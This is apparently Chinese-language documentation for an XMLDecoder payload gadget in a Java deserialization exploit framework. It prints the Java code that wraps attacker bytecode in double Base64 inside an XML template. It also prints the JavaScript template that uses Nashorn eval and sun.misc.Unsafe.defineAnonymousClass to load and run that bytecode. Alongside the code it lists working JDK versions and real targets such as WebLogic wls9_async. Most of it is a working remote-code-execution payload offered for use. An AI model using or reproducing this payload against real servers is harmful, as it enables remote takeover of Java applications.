- 类别:xml 别名:— 优先级:—
- 作者:—
- 依赖:
jdk(实际受限于内置 JS 引擎,见下文「适用版本」)
生成一段 XMLDecoder 可解析的 XML 文本:先用 DatatypeConverter.parseBase64Binary 把内嵌的 Base64 还原成一段 JavaScript,再经 ScriptEngineManager 的 js(Nashorn/Rhino)引擎 eval 执行;这段 JS 通过 sun.misc.Unsafe#defineAnonymousClass 把上一环产出的字节码就地加载并 newInstance(),从而在 XMLDecoder 反序列化点实现 RCE。是 XMLDecoder 系列 payload 的字节码落地 sink。
- 入口
tags:XMLDecoderPayload—— 承接 XMLDecoder 类型的 Payload 入口(其产物是一段交给java.beans.XMLDecoder解析的 XML 字符串)。 - 衔接
nextTags:BytecodeConvertTag—— 之后(更内层)需接一个产出byte[]字节码的 gadget(典型是 BytecodeConvert → Exec),其字节码由本 gadget 加载执行。 excludes:无。
本类直接实现 Gadget,无基类。核心是一个静态 XML 模板加两次 Base64 包装:
public static String template = "...<void class=\"javax.xml.bind.DatatypeConverter\" method=\"parseBase64Binary\" id=\"str\">...<void class=\"javax.script.ScriptEngineManager\"><void method=\"getEngineByName\"><string>js</string><void method=\"eval\"><object idref=\"payload\"></object>...";
public String getObject(byte[] bytecode) {
String bytecodeB64 = Base64.encodeBase64String(bytecode); // ① 字节码 → Base64
String js = String.format(JsConvert.jsTemplate, bytecodeB64); // ② 套入 JS 模板
return String.format(template, Base64.encodeBase64String(js.getBytes())); // ③ JS → Base64 → 套入 XML
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject((byte[]) chain.doCreate(context)); // 内层 gadget 必须产出 byte[]
}invoke先chain.doCreate(context)取内层对象,并强转为byte[]——这正是nextTags=BytecodeConvertTag的约束:内层必须是产字节码的构件。- 第一次 Base64(步骤 ①)把字节码编码,再填进
JsConvert.jsTemplate。该模板(见 JsConvert)的关键逻辑是:
var s = '<bytecodeB64>';
var bt; try { bt = ...BASE64Decoder...decodeBuffer(s); } catch(e){ bt = java.util.Base64.getDecoder().decode(s); }
var theUnsafeField = java.lang.Class.forName('sun.misc.Unsafe').getDeclaredField('theUnsafe');
theUnsafeField.setAccessible(true);
unsafe = theUnsafeField.get(null);
unsafe.defineAnonymousClass(java.lang.Class.forName('java.lang.Class'), bt, null).newInstance();即在 JS 里反射拿到 theUnsafe,用 defineAnonymousClass 匿名加载字节码并实例化,触发目标类的静态块/构造器执行命令。
- 第二次 Base64(步骤 ③)把整段 JS 编码后填入 XML
template的%s。运行时XMLDecoder依次执行:DatatypeConverter.parseBase64Binary解码得到byte[](id="str")→new String(str)得到 JS 源码(id="payload")→ScriptEngineManager().getEngineByName("js").eval(payload)执行 JS。 - 用 JS 引擎作跳板的意义:
XMLDecoder本身能表达的对象操作有限,借 Nashorn/Rhino 才能完成Unsafe反射与匿名类定义这类复杂逻辑。
本类无 @Param。载荷由内层字节码 gadget 提供,无用户可配字段。
- 名义依赖为
jdk,但实际受ScriptEngineManager的js引擎制约:JDK 8–14 内置 Nashorn(getEngineByName("js")可用);JDK 15 起 Nashorn 被移除,本 gadget 失效(与 JsConvert 标注的8 <= jdk <= 14一致)。Java 6/7 为 Rhino,细节略有差异。 - XML 模板固定使用
javax.xml.bind.DatatypeConverter——JDK 11 起该 JAXB API 从 JDK 移出,目标需自带jakarta/javax.xml.bind依赖方可解码。 - 依赖
sun.misc.Unsafe#defineAnonymousClass,属 internal API,在更高 JDK 上被封装/移除,进一步收窄可用范围。 - 生效前提是反序列化入口确为
java.beans.XMLDecoder(如 WebLogic wls9_async、部分 XML 配置解析场景)。
自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。可与 XMLDecoder 入口 Payload 及内层 BytecodeConvert/Exec 自由组合。
- 下游(更内层,
nextTags=BytecodeConvertTag):BytecodeConvert → Exec(产出待加载字节码)。 - 同族(同为
XMLDecoderPayloadsink):XMLExec(直接Runtime.exec)、XMLJdkDefineClass、XMLBceLoader、XMLJNDI、XMLDnsLog、XMLSleep。 - 逻辑复用:JS 载荷模板来自 JsConvert。